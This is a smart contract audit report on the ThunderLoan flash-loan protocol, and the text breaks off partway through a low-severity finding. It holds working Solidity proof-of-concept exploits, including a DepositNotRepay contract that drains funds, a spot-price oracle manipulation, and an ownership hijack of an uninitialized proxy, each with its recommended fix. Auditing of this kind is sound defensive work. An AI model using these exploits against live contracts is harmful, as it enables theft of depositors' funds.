ThunderLoan Audit Report

Version 1.0

0xPexy

July 16, 2025

ThunderLoan Audit Report

0xPexy

July 16, 2025

Prepared by: 0xPexy

Table of Contents

Protocol Summary

content

Disclaimer

0xPexy makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by 0xPexy is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

I use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit hash in audited repository: `8803f851f6b37e99eab2e94b4690c8b70e26b3f6`

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Known Issues

- We are aware that `getCalculatedFee` can result in 0 fees for very small flash loans. We are OK with that. There is some small rounding errors when it comes to low fees.

- We are aware that the first depositor gets an unfair advantage in assetToken distribution. We will be making a large initial deposit to mitigate this, and this is a known issue.
- We are aware that "weird" ERC20s break the protocol, including fee-on-transfer, rebasing, and ERC-777 tokens. The owner will vet any additional tokens before adding them to the protocol.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	3
Info	7
Total	16

Findings

High Severity

[H-1] Flawed Repayment Logic via Push-Style Balance Check Allows Flash Loan Theft

Severity

- **Likelihood:** High
- **Impact:** High

Description The root cause of the vulnerability lies in the `flashloan` function's repayment verification logic. The function only checks that the contract's final token balance is sufficient to cover the principal plus the fee, without verifying the source of the funds.

```
    // src/protocol/ThunderLoan.sol:224-228
    uint256 endingBalance = token.balanceOf(address(assetToken));
    if (endingBalance < startingBalance + fee) {
        revert ThunderLoan__NotPaidBack(startingBalance + fee,
            endingBalance);
    }
    s_currentlyFlashLoaning[token] = false;
```

This *push-style* validation is insecure because it assumes any balance increase constitutes a valid repayment. The system lacks re-entrancy protection, which enables the balance snapshot to be bypassed. An attacker can call the `deposit` function from within the flash loan's `executeOperation` callback. This deposit satisfies the flawed balance check, allowing the attacker to effectively convert the flash-loaned funds into a regular deposit and subsequently steal them.

Impact A malicious actor can bypass the flash loan's repayment obligation, convert the borrowed assets into `AssetToken` shares, and then withdraw the underlying collateral, effectively draining funds from the protocol without requiring any collateral.

Attack Scenario:

1. An attacker requests a flash loan from the `ThunderLoan` contract via a malicious contract.
2. Within the `executeOperation` callback, the attacker's contract does not repay the loan. Instead, it `approve`s the `ThunderLoan` contract to spend the borrowed tokens and calls the `deposit` function with the borrowed amount.
3. The deposit increases the contract's token balance, satisfying the flawed repayment condition and causing the balance check in `flashloan` to pass.
4. The attacker receives `AssetToken`s in exchange for the "deposit."
5. The attacker then calls `redeem` to burn the `AssetToken`s and withdraw the underlying assets originally borrowed, resulting in a net loss equal to the flash-loaned amount.

Proof of Concept The following test demonstrates this vulnerability. The `DepositNotRepay` contract is used to call `deposit` from within the flash loan's `executeOperation`, successfully bypassing repayment and later withdrawing the funds.

```
    function test_audit_depositReplacingRepay()
        public
        setAllowedToken
        hasDeposits
    {
        uint256 amountToBorrow = 100e18;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(
            tokenA,
            amountToBorrow
        );

        // User executes a malicious deposit without repaying the flash
            loan,
        // draining amountToBorrow from the ThunderLoan contract.
        vm.startPrank(user);
        DepositNotRepay dnr = new DepositNotRepay(thunderLoan);
        tokenA.mint(address(dnr), calculatedFee);
        thunderLoan.flashloan(address(dnr), tokenA, amountToBorrow, "")
            ;
        dnr.withdrawDrained(tokenA, user);
        vm.stopPrank();

        assertGe(tokenA.balanceOf(user), amountToBorrow);
    }

contract DepositNotRepay is IFlashLoanReceiver {
    ThunderLoan tl;

    constructor(ThunderLoan _tl) {
        tl = _tl;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address,
        bytes calldata
    ) external override returns (bool) {
        uint256 repayAmount = amount + fee;
        IERC20(token).approve(address(tl), repayAmount);
        // Instead of repaying, deposit the borrowed funds.
        tl.deposit(IERC20(token), repayAmount);
        return true;
    }

    function withdrawDrained(IERC20 token, address to) public {
        AssetToken assetToken = tl.getAssetFromToken(token);
        // Redeem the asset tokens received from the malicious deposit.
        tl.redeem(token, assetToken.balanceOf(address(this)));
        token.transfer(to, token.balanceOf(address(this)));
    }
}
```

Recommendation To secure the protocol, it is crucial to address both the flawed logic (the root cause) and the re-entrancy (the attack vector).

1. **Fix the Root Cause: Adopt a *Pull-over-Push* Pattern:**

   The primary fix is to change the repayment logic. Instead of checking the balance, the contract should explicitly pull the required funds from the `receiverAddress`. This directly remedies the flawed validation. See the ERC-3156 EIP for more details.

```
function flashloan
    ...
        receiverAddress.functionCall(
            abi.encodeCall(
                IFlashLoanReceiver.executeOperation,
                (
                    address(token),
                    amount,
                    fee,
                    msg.sender, // initiator
                    params
                )
            )
        );

+       token.safeTransferFrom(receiverAddress, address(this), amount + fee);
-       uint256 endingBalance = token.balanceOf(address(assetToken));
-       if (endingBalance < startingBalance + fee) {
-           revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
-       }
+       // Sanity check (covers deflationary-fee tokens)
+       require(token.balanceOf(address(this)) >= startingBalance + fee, "Sanity check failed");
        s_currentlyFlashLoaning[token] = false;
```

2. **Block the Attack Vector: Add Re-entrancy Guards:**

   For defense-in-depth, add a `nonReentrant` modifier to all critical state-changing functions (`deposit`, `redeem`, `flashloan`). This prevents this specific exploit and protects against other potential re-entrancy attacks.

```
+   bool private locked;
+   modifier nonReentrant() {
+       require(!locked, "Re-entrant call");
+       locked = true;
+       _;
+       locked = false;
+   }

-   function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token)
+   function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) nonReentrant
```

```diff

     function flashloan(
         address receiverAddress,
         IERC20 token,
         uint256 amount,
         bytes calldata params
     )
         external
         revertIfZero(amount)
         revertIfNotAllowedToken(token)
+        nonReentrant
```

[H-2] Erroneous Fee Accrual in `deposit` Function Causes Immediate Loss for Lenders

Severity

- **Likelihood**: High
- **Impact**: High

Description The `deposit` function is intended for liquidity providers (LPs) to supply assets to the protocol. However, it incorrectly contains logic that is meant exclusively for flash loan fee collection. Specifically, it calls `getCalculatedFee` and then `assetToken.updateExchangeRate` on the deposited amount.

```
// src/protocol/ThunderLoan.sol:22-25
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
    // ... (minting logic)
    uint256 calculatedFee = getCalculatedFee(token, amount);
    assetToken.updateExchangeRate(calculatedFee); // This line is the
        root cause
    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

The `updateExchangeRate` function's purpose is to increase the value of all `AssetToken` shares by adding earned flash loan fees to the total underlying assets. By calling it within `deposit`, the function incorrectly treats 0.3% of the depositor's principal as fee income. This immediately devalues the shares the depositor has just received, effectively causing them to pay a fee on their own deposit.

Impact This flaw leads to a direct and guaranteed loss of funds for every user who deposits into the protocol and breaks core functionality.

- **Immediate Loss of Principal**: When an LP deposits funds, 0.3% of their principal is incorrectly accounted for as fee revenue. This revenue is socialized among all `AssetToken` holders, including the depositor. However, the net effect is that the shares the new depositor receives are instantly worth less than the assets they provided.
- **Functional Denial of Service (DoS) on Withdrawals**: Because their shares are immediately devalued, depositors cannot redeem their full original deposit amount. As the Proof of Concept demonstrates, attempting to redeem the amount deposited will fail due to an insufficient `AssetToken` balance, trapping user funds until more fees are earned from actual flash loans to cover their initial loss.

Proof of Concept The following test shows that after depositing `DEPOSIT_AMOUNT`, the user is unable to redeem that same amount. The transaction reverts because the user's `AssetToken` balance is insufficient, as it was devalued by the erroneously charged fee.

```
function test_audit_depositTakesFees() public {
    vm.prank(thunderLoan.owner());
    thunderLoan.setAllowedToken(tokenA, true);

    tokenA.mint(liquidityProvider, DEPOSIT_AMOUNT);
    vm.startPrank(liquidityProvider);
    tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT);
    thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);

    // This call will fail
    thunderLoan.redeem(tokenA, DEPOSIT_AMOUNT);
    vm.stopPrank();
}
```

The test fails with the expected `ERC20InsufficientBalance` error, showing that the user needs to burn `1.003e21` worth of shares to get back their `1e21` deposit, but they only have `1e21` worth of shares.

```
[FAIL: ERC20InsufficientBalance(0
    xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c, 1000000000000000000000 [1
    e21], 1003000000000000000000 [1.003e21])]
```

Recommendation The fee calculation and collection logic must be removed from the `deposit` function. This logic should only be executed within the `flashloan` function after a fee has been legitimately earned.

```
    function deposit(IERC20 token, uint256 amount) external
        revertIfZero(amount) revertIfNotAllowedToken(token) {
         AssetToken assetToken = s_tokenToAssetToken[token];
         uint256 exchangeRate = assetToken.getExchangeRate();
         uint256 mintAmount = (amount * assetToken.
             EXCHANGE_RATE_PRECISION()) / exchangeRate;
         emit Deposit(msg.sender, token, amount);
         assetToken.mint(msg.sender, mintAmount);
-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
         token.safeTransferFrom(msg.sender, address(assetToken), amount)
             ;
    }
```

[H-3] Storage Layout Mismatch in Upgrade Corrupts Fee Calculation

Severity

- **Likelihood:** Medium
- **Impact:** High

Description The `ThunderLoanUpgraded` contract introduces a storage layout incompatibility with the original `ThunderLoan` contract. The root cause is the modification of the `s_feePrecision` state variable. In the original contract, `s_feePrecision` was a state variable occupying storage slot 2. In the upgraded version, it was replaced with a `constant` variable, `FEE_PRECISION`.

Original `ThunderLoan` Layout:

- `s_feePrecision`: slot 2
- `s_flashLoanFee`: slot 3

Upgraded `ThunderLoanUpgraded` Layout:

- `FEE_PRECISION`: (constant, does not occupy storage)
- `s_flashLoanFee`: slot 2

Since constants do not occupy storage slots, this change removed slot 2 from the expected layout, causing `s_flashLoanFee` and all subsequent variables to shift up into the preceding slots.

```
// src/protocol/ThunderLoanUpgraded.sol:96-98
// s_feePrecision was removed, shifting s_flashLoanFee from slot 3 to
    slot 2.
uint256 private s_flashLoanFee; // Now at slot 2
uint256 public constant FEE_PRECISION = 1e18;

// src/protocol/ThunderLoan.sol:96-98
// Original layout for comparison.
```

```
uint256 private s_feePrecision; // Originally at slot 2
uint256 private s_flashLoanFee; // Originally at slot 3
```

This can be verified by comparing the `forge inspect` storage layout reports for both contracts.

Impact When the proxy is upgraded to the `ThunderLoanUpgraded` implementation, the new logic operates on the old contract's storage. This leads to critical data misinterpretation.

Exploit Process:

1. The `upgradeToAndCall` function installs the `ThunderLoanUpgraded` contract. The storage state is preserved, but the layout map is now different.
2. When any subsequent `flashloan` is called, `getCalculatedFee` is executed on the upgraded contract, attempting to read `s_flashLoanFee`, which it expects at slot 2.
3. However, slot 2 of the existing storage still holds the value of the old `s_feePrecision` variable (i.e., `1e18`).
4. The fee calculation `(valueOfBorrowedToken * s_flashLoanFee)/ FEE_PRECISION` therefore becomes `(valueOfBorrowedToken * 1e18)/ 1e18`, which simplifies to `valueOfBorrowedToken`.
5. This effectively sets the flash loan fee to 100% of the borrowed amount, breaking the core functionality of the protocol and making it unusable. This state is irreversible without deploying a new, corrected implementation.

Proof of Concept The following test demonstrates that after the upgrade, `getFee()` (which reads `s_flashLoanFee` from slot 2) incorrectly returns the old precision value, and the calculated fee equals the amount borrowed.

```
    function test_audit_storageCollision() public {
        ThunderLoanUpgraded tlu = new ThunderLoanUpgraded();
        uint256 amountToBorrow = 100e18;
        uint256 prevFlashLoanPrecision = thunderLoan.getFeePrecision();
            // Reads s_feePrecision from slot 2

        // Upgrade the contract
        thunderLoan.upgradeToAndCall(address(tlu), "");

        // After upgrade, s_flashLoanFee is at slot 2. Reading it now
           fetches the old s_feePrecision value.
        assertEq(prevFlashLoanPrecision, thunderLoan.getFee());
        // The fee is now incorrectly calculated as the full borrowed
           amount.
        assertEq(amountToBorrow, thunderLoan.getCalculatedFee(tokenA,
           amountToBorrow));
    }
```

Recommendation To ensure storage layout compatibility across upgrades, never remove, reorder, or change the type of state variables. When a variable is no longer needed, it must be replaced with a placeholder “gap” variable to preserve the storage layout.

Add a gap variable to the `ThunderLoanUpgraded` contract to fill the slot previously occupied by `s_feePrecision`.

```
// src/upgradedProtocol/ThunderLoanUpgraded.sol

+    uint256 private __gap; // Preserves storage layout, occupying slot 2.
     uint256 private s_flashLoanFee; // Remains correctly at slot 3.
     uint256 public constant FEE_PRECISION = 1e18;
```

This ensures that `s_flashLoanFee` remains at slot 3, consistent with the original contract’s storage, thereby resolving the issue.

Medium Severity

[M-1] Use of Manipulable Spot Price Oracle for Fee Calculation

Severity

- **Likelihood**: Medium
- **Impact**: Medium

Description The `getCalculatedFee` function calculates the flash loan fee based on the value of the borrowed assets in WETH. This value is determined by calling `getPriceInWeth`, which fetches a spot price directly from a T-Swap AMM pool.

```
// src/protocol/ThunderLoan.sol:17-22
function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) {
    //slither-disable-next-line divide-before-multiply
    uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision;
    //slither-disable-next-line divide-before-multiply
    fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
}
```

Spot prices from AMM pools are not a secure source for on-chain price data, as they can be easily manipulated within a single transaction. An attacker can artificially depress the reported price of a token just before taking out a flash loan, thereby significantly reducing the fee they have to pay.

Impact This vulnerability allows an attacker to take out flash loans for a fraction of the intended fee, leading to a direct loss of revenue for the protocol and its liquidity providers. The attack can be executed using nested flash loans, requiring minimal initial capital.

Attack Scenario:

1. **Outer Flash Loan:** The attacker takes a flash loan of Token A from the ThunderLoan protocol.
2. **Price Manipulation:** The attacker uses the borrowed Token A to swap for WETH in the corresponding T-Swap pool. This large swap drastically increases the amount of Token A in the pool relative to WETH, causing the spot price of Token A (in WETH) to plummet.
3. **Inner Flash Loan:** While the price is manipulated, the attacker takes out a second, larger flash loan of Token A. The fee for this loan is calculated using the now-manipulated, artificially low price, resulting in a much smaller fee than should be required.
4. **Reverse Manipulation & Repay:** The attacker reverses the swap from step 2 to restore the original price, repays the outer flash loan, and profits from the activity conducted with the cheap inner flash loan.

This sequence results in lost fee revenue that should have been distributed to the protocol's LPs.

Proof of Concept The provided test case demonstrates this exact scenario. An `OuterFlashLoan` contract first manipulates the T-Swap pool price, then an `InnerFlashLoan` contract is used to borrow funds at a discounted fee.

The log output clearly shows the disparity in fees:

```
Logs:
  outer flash loan: 50000000000000000000 148073705159559194
  inner flash loan: 50000000000000000000 66093895772631111
```

The fee for the inner flash loan is less than half the fee for the outer one, despite the loan amounts being identical, confirming the successful price manipulation.

Recommendation The fee calculation mechanism should be decoupled from external, manipulable spot price oracles. Two robust solutions are recommended:

1. **Implement a Flat Fee Structure (Primary Recommendation):** The most secure and simple solution is to calculate the fee as a percentage of the borrowed `amount`, without converting to a WETH value. This removes any dependency on an external price oracle.

```
function getCalculatedFee(IERC20 token, uint256 amount) public
    view returns (uint256 fee) {
-   //slither-disable-next-line divide-before-multiply
-   uint256 valueOfBorrowedToken = (amount * getPriceInWeth(
    address(token))) / s_feePrecision;
-   //slither-disable-next-line divide-before-multiply
-   fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision
    ;
+   // Calculate fee as a simple percentage of the borrowed amount
+   fee = (amount * s_flashLoanFee) / s_feePrecision;
}
```

2. **Use a Resilient Price Oracle:** If price-based fees are a requirement, integrate a secure, manipulation-resistant oracle solution, such as Chainlink Price Feeds or a Time-Weighted Average Price (TWAP) oracle from a high-liquidity DEX like Uniswap V3.

[M-2] Deleting Token Mapping on Disabling Market Leads to Permanently Locked Funds

Severity

- **Likelihood**: Low
- **Impact**: High

Description The `setAllowedToken` function allows the owner to disable a token market. When `allowed` is set to **`false`**, the function uses the `delete` keyword to remove the entry from the `s_tokenToAssetToken` mapping.

```
// src/protocol/ThunderLoan.sol:26-29
} else {
    AssetToken assetToken = s_tokenToAssetToken[token];
    delete s_tokenToAssetToken[token]; // Root Cause
    emit AllowedTokenSet(token, assetToken, allowed);
    // ...
}
```

This `delete` operation is the root cause of the vulnerability. It irreversibly severs the protocol's only link to the `AssetToken` contract associated with that token. Since the `AssetToken` contract is designed to only allow the `ThunderLoan` contract to authorize withdrawals, any funds held within the `AssetToken` at the time of deletion become permanently trapped. Re-enabling the token simply deploys a new `AssetToken` contract, leaving the original funds inaccessible.

Impact If the owner disables a token market while it still contains user deposits, all of those funds will be permanently and irretrievably lost. This constitutes a critical risk of total asset loss due to a single, plausible operational error.

Scenario:

1. Liquidity providers have deposited funds into the protocol for Token A.
2. The protocol owner calls `setAllowedToken(tokenA, false)`, triggering the `delete` operation.
3. The link to the `AssetToken` holding the LPs' funds is destroyed.
4. The funds are now locked forever. LPs cannot withdraw, and the owner cannot recover them.

Proof of Concept The test case correctly demonstrates that after disabling and re-enabling `tokenA`, a new `AssetToken` contract is created, and the funds deposited in the original contract are inaccessible. The LP's balance in the new `AssetToken` is zero, and they have no path to redeem their original deposit.

```
    function test_audit_permanentLock() public setAllowedToken hasDeposits {
        AssetToken prevAST = thunderLoan.getAssetFromToken(tokenA);
        assertEq(prevAST.balanceOf(liquidityProvider), DEPOSIT_AMOUNT);

        // Owner disables the token, deleting the mapping
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, false);

        // LP cannot redeem because the token is no longer "allowed"
        vm.prank(liquidityProvider);
        vm.expectRevert(ThunderLoan.ThunderLoan__NotAllowedToken.selector);
        thunderLoan.redeem(tokenA, 1e18);

        // Owner re-enables the token, but a *new* AssetToken is created
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        AssetToken currAST = thunderLoan.getAssetFromToken(tokenA);

        // The addresses are different, proving the old one is orphaned
        assertNotEq(address(prevAST), address(currAST));

        // LP still cannot redeem because their balance is in the old, orphaned contract
        vm.prank(liquidityProvider);
        vm.expectRevert(); // Fails with insufficient balance
        thunderLoan.redeem(tokenA, 1e18);
    }
```

Recommendation To mitigate this, the protocol must provide a mechanism for users to withdraw their funds from a disabled market. The original report's suggestion is excellent and should be implemented. Instead of preventing the `delete`, the protocol should handle its consequences by providing an alternative withdrawal path.

1. **Track Disabled Tokens:** When `delete` is called on the mapping, store the address of the orphaned `AssetToken` in a separate `s_disabledAssetTokens` mapping.
2. **Implement an Emergency Redeem Function:** Create a new function, `emergencyRedeem`, that allows users to withdraw their funds directly from a disabled `AssetToken` contract by providing its address.

This approach allows the owner to disable markets as intended while ensuring user funds are never at risk of being permanently locked.

```diff
+   mapping (address => bool) public s_disabledAssetTokens;
+   event EmergencyRedeemed(
+       address indexed account, address indexed assetToken, uint256 amountOfAssetToken, uint256 amountOfUnderlying
+   );

     function setAllowedToken(IERC20 token, bool allowed) external
         onlyOwner returns (AssetToken) {
         if (allowed) {
             // ... (no change)
         } else {
             AssetToken assetToken = s_tokenToAssetToken[token];
+            require(address(assetToken) != address(0), "Token not allowed");
             delete s_tokenToAssetToken[token];
+            s_disabledAssetTokens[address(assetToken)] = true;
             emit AllowedTokenSet(token, assetToken, allowed);
             return assetToken;
         }
     }

+   function emergencyRedeem(
+       AssetToken assetToken,
+       uint256 amountOfAssetToken
+   )
+       external
+       revertIfZero(amountOfAssetToken)
+   {
+       require(s_disabledAssetTokens[address(assetToken)] == true, "Token not disabled");
+       uint256 exchangeRate = assetToken.getExchangeRate();
+       if (amountOfAssetToken == type(uint256).max) {
+           amountOfAssetToken = assetToken.balanceOf(msg.sender);
+       }
+       uint256 amountUnderlying = (amountOfAssetToken * exchangeRate) / assetToken.EXCHANGE_RATE_PRECISION();
+       emit EmergencyRedeemed(msg.sender, assetToken, amountOfAssetToken, amountUnderlying);
+        assetToken.burn(msg.sender, amountOfAssetToken);
+        assetToken.transferUnderlyingTo(msg.sender, amountUnderlying);
+    }
```

[M-3] Implementation Contract is Left Uninitialized, Allowing Ownership Hijacking

Severity

- **Likelihood**: Low
- **Impact**: High

Description The protocol utilizes the UUPS proxy pattern for upgradeability, where the implementation logic resides in a `ThunderLoan` contract and is delegated to from an `ERC1967Proxy`. The `ThunderLoan` contract uses an `initialize` function in place of a constructor to set up its initial state, including setting the contract `owner`.

The provided deployment script, `DeployThunderLoan.s.sol`, correctly deploys the `ThunderLoan` implementation and the `ERC1967Proxy`, but it critically fails to call the `initialize` function on the proxy.

```
// script/DeployThunderLoan.s.sol
contract DeployThunderLoan is Script {
    function run() public {
        vm.startBroadcast();
        ThunderLoan thunderLoan = new ThunderLoan();
        // The proxy is deployed, but initialize() is never called.
        new ERC1967Proxy(address(thunderLoan), "");
        vm.stopBroadcast();
    }
}
```

Because the `initialize` function has no access control (other than ensuring it's only called once), the first person to call it will become the owner of the protocol.

Impact An attacker who discovers the uninitialized proxy can front-run the legitimate deployer and call `initialize` themselves. This grants the attacker full ownership of the `ThunderLoan` protocol, leading to catastrophic consequences:

- **Malicious Upgrades:** As the owner, the attacker can upgrade the proxy to a malicious implementation contract, allowing them to steal all funds deposited in the protocol.
- **Complete Control:** The attacker can execute any owner-only function, such as changing fees, disabling tokens (potentially triggering the permanent lock vulnerability), and other administrative actions.

This vulnerability compromises the entire protocol, leading to a complete loss of integrity and user funds.

Proof of Concept The following test demonstrates that an arbitrary `attacker` can call `initialize` on the newly deployed proxy and successfully set themselves as the owner.

```
    function test_audit_uninitialized() public {
        // 1. Deploy implementation and proxy, but do not initialize
        ThunderLoan tl = new ThunderLoan();
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
            ;
        ERC1967Proxy proxy = new ERC1967Proxy(address(tl), "");
        tl = ThunderLoan(address(proxy));

        // 2. Attacker calls initialize
        address attacker = makeAddr("attacker");
        vm.prank(attacker);
        tl.initialize(address(pf));

        // 3. Attacker is now the owner
        assertEq(attacker, tl.owner());
    }
```

Recommendation The deployment script must be corrected to call the `initialize` function atomically within the same transaction that the proxy is deployed. This ensures that ownership is claimed by the deployer before any malicious actor can intervene.

It is also a best practice to use `upgradeToAndCall` for this purpose, as it combines the proxy deployment and initialization into a single, secure step. However, a simple fix to the existing script is to add the `initialize` call.

```
 contract DeployThunderLoan is Script {
     function run() public {
         vm.startBroadcast();
         ThunderLoan thunderLoan = new ThunderLoan();
-        new ERC1967Proxy(address(thunderLoan), "");
+        // The pool factory address needs to be known at deployment
   time
+        address poolFactory = 0x...; // Or deploy it within this
   script
+        bytes memory data = abi.encodeWithSelector(ThunderLoan.
   initialize.selector, poolFactory);
+        ERC1967Proxy proxy = new ERC1967Proxy(address(thunderLoan),
   data);
         vm.stopBroadcast();
     }
 }
```

A more robust deployment script would look like this:

```
contract DeployThunderLoan is Script {
    function run() public returns (ThunderLoan) {
        address poolFactory = 0x...; // Replace with actual factory
            address

        vm.startBroadcast();

        ThunderLoan implementation = new ThunderLoan();

        bytes memory data = abi.encodeWithSelector(
            ThunderLoan.initialize.selector,
            poolFactory
        );

        ERC1967Proxy proxy = new ERC1967Proxy(address(implementation),
            data);

        vm.stopBroadcast();

        return ThunderLoan(address(proxy));
    }
}
```

Low Severity

[L-1] Centralization Risk from Single EOA Ownership

Severity

- **Likelihood**: Low
- **Impact**: High

Description The protocol's ownership is managed by a single Externally Owned Account (EOA) through OpenZeppelin's `OwnableUpgradeable` contract. This concentrates all administrative power into a single private key. Key functions, including the ability to upgrade the contract's implementation via `upgradeToAndCall`, are controlled by this single owner.

While this model is simple to manage, it introduces a significant single point of failure, which is contrary to the principles of decentralization and trust-minimization.

Impact Relying on a single EOA for ownership exposes the protocol and its users to two primary risks:

1. **Private Key Compromise:** If the owner's private key is stolen, an attacker gains complete control over the protocol. They could upgrade the contract to a malicious version designed to steal all user funds, change fees, or otherwise permanently damage the protocol. According to OWASP's Smart Contract Top 10, Access Control vulnerabilities (of which this is a form) are a primary attack vector.
2. **Malicious Owner (Rug Pull):** This model requires users to place absolute trust in the owner not to act maliciously. A malicious owner could unilaterally upgrade the protocol to a malicious contract and steal all the assets, leaving users with no recourse.

Recommendation To mitigate these centralization risks and build user trust, the protocol ownership should be transferred to a more robust, decentralized access control mechanism.

The standard and highly recommended solution is to use a multi-signature wallet, such as a **Gnosis Safe**. A multi-sig wallet requires a pre-defined number of co-signers (e.g., 3 out of 5) to approve any transaction before it can be executed.

Benefits of a Multi-Sig: - **No Single Point of Failure:** The compromise of a single private key is no longer sufficient to compromise the protocol. - **Increased Trust:** Users can have greater confidence that no single individual can act maliciously or unilaterally. - **Operational Redundancy:** If one key is lost, the remaining keyholders can still manage the protocol and add a new owner.

For long-term decentralization, the protocol could also consider eventually transitioning ownership to a DAO governed by a token-holder vote, potentially with a timelock contract to allow users to review and react to proposed changes.

[L-2] `repay` Function Fails in Nested Flash Loan Scenarios

Severity

- **Likelihood**: Medium
- **Impact**: Low

Description The `repay` function is provided as a helper for flash loan borrowers to send funds back to the protocol. It includes a check to ensure it is only called during an active flash loan, using the `s_currentlyFlashLoaning[token]` boolean flag.

```
// src/protocol/ThunderLoan.sol:232-234
function repay(IERC20 token, uint256 amount) public {
    if (!s_currentlyFlashLoaning[token]) {
        revert ThunderLoan__NotCurrentlyFlashLoaning();
    }
    // ...
}
```

This `s_currentlyFlashLoaning` flag is set to `true` at the beginning of a `flashloan` call and `false` at the end. This design does not account for nested flash loans (a flash loan taken from within another flash loan's execution).

When a nested flash loan occurs, the inner loan will complete its execution first and set `s_currentlyFlashLoaning[token]` back to `false`. When control returns to the outer flash loan, its attempt to call `repay` will fail because the flag has already been cleared, causing the transaction to revert.

Impact This flaw breaks the intended repayment path for any user implementing nested flash loans, a legitimate use case for composing complex DeFi actions.

While users can work around this issue by manually transferring funds to the `AssetToken` contract, this is non-obvious and poor UX. It forces users to interact with the protocol in an undocumented and unintended way, potentially leading to confusion, wasted gas, or mistakes. The existence of a `repay` function that is unusable in a valid scenario is a design flaw.

Proof of Concept The Proof of Concept for the "Price Oracle Manipulation" vulnerability ([M-1]) indirectly demonstrates this issue. In that PoC, the outer flash loan contract avoids calling `repay` and instead uses a direct `transfer` to the `AssetToken` to return the funds, implicitly acknowledging that `repay` would fail.

```
// From M-1 Proof of Concept
// OuterFlashLoan.sol
// ...
// Note: The PoC uses a direct transfer, not repay(), because repay()
   would fail.
_token.transfer(address(assetToken), repayAmount);
return true;
```

Recommendation The most robust solution is to adopt the **Pull-over-Push** pattern for repayments, which was also recommended for the high-severity "Flawed Repayment Logic" vulnerability ([H-1]).

By having the `flashloan` function actively `pull` the required funds from the receiver after `executeOperation` completes, the `repay` helper function and the `s_currentlyFlashLoaning` flag become entirely unnecessary. This not only resolves the nested flash loan issue but also makes the protocol more secure and simplifies the repayment logic.

```diff
    function flashloan(...) {
        // ...
        receiverAddress.functionCall(
            // ...
        );

+        // Pull the funds directly from the receiver. This works for nested and single loans.
+        token.safeTransferFrom(address(receiverAddress), address(this), amount + fee);

-        uint256 endingBalance = token.balanceOf(address(assetToken));
-        if (endingBalance < startingBalance + fee) {
-            revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
-        }
        s_currentlyFlashLoaning[token] = false;
    }

-    function repay(IERC20 token, uint256 amount) public {
-        if (!s_currentlyFlashLoaning[token]) {
-            revert ThunderLoan__NotCurrentlyFlashLoaning();
-        }
-        AssetToken assetToken = s_tokenToAssetToken[token];
-        token.safeTransferFrom(msg.sender, address(assetToken), amount);
-    }
```

[L-3] Mistakenly Transferred Tokens are Unrecoverable or Unfairly Distributed

Severity

- **Likelihood**: Low
- **Impact**: Medium

Description The `ThunderLoan` and `AssetToken` contracts lack a "sweep" or "rescue" function for recovering ERC20 tokens that are sent to them by mistake. It is a common user error to transfer tokens directly to a contract address instead of calling the intended function (e.g., `deposit`).

- **Tokens sent to `ThunderLoan`:** Any ERC20 tokens transferred directly to the main `ThunderLoan` contract address are permanently stuck. There is no function that allows for their withdrawal.

- **Tokens sent to `AssetToken`:** Any underlying tokens transferred directly to an `AssetToken` contract address are effectively added to that token's liquidity pool. This unintentionally inflates the value of all shares for that `AssetToken`, meaning the mistaken funds will be distributed pro-rata to all LPs upon withdrawal, rather than being returned to the original sender.

While the latter case doesn't lock the funds permanently, it causes them to be misallocated, leading to an unfair distribution and a loss for the user who made the error.

Impact The absence of a rescue mechanism can lead to the permanent or irrecoverable loss of user funds due to common mistakes.

- **Permanent Loss:** Tokens sent to the `ThunderLoan` contract are lost forever.
- **Unfair Fund Distribution:** Tokens sent to an `AssetToken` contract are unfairly distributed to LPs of that asset, effectively socializing one user's loss across all other LPs. This can create accounting complexities and disputes.

Proof of Concept The provided test case clearly demonstrates both scenarios. It shows that after a user mistakenly transfers tokens to both the `ThunderLoan` and `AssetToken` contracts: 1. The funds sent to `ThunderLoan` are stuck. 2. The funds sent to `AssetToken` increase its balance. 3. When an existing `liquidityProvider` redeems their shares, they receive a portion of the user's mistakenly sent funds, getting back more than they originally deposited.

```
    function test_audit_mistakenlyTransferredToken() public
        setAllowedToken hasDeposits {
        // ... (setup)

        // A user mistakenly sends 100e18 to ThunderLoan and 100e18 to
            AssetToken
        tokenA.transfer(address(thunderLoan), 100e18);
        tokenA.transfer(address(ast), 100e18);

        // ...

        // An LP redeems their share and receives more than they
            deposited
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, ast.balanceOf(liquidityProvider));
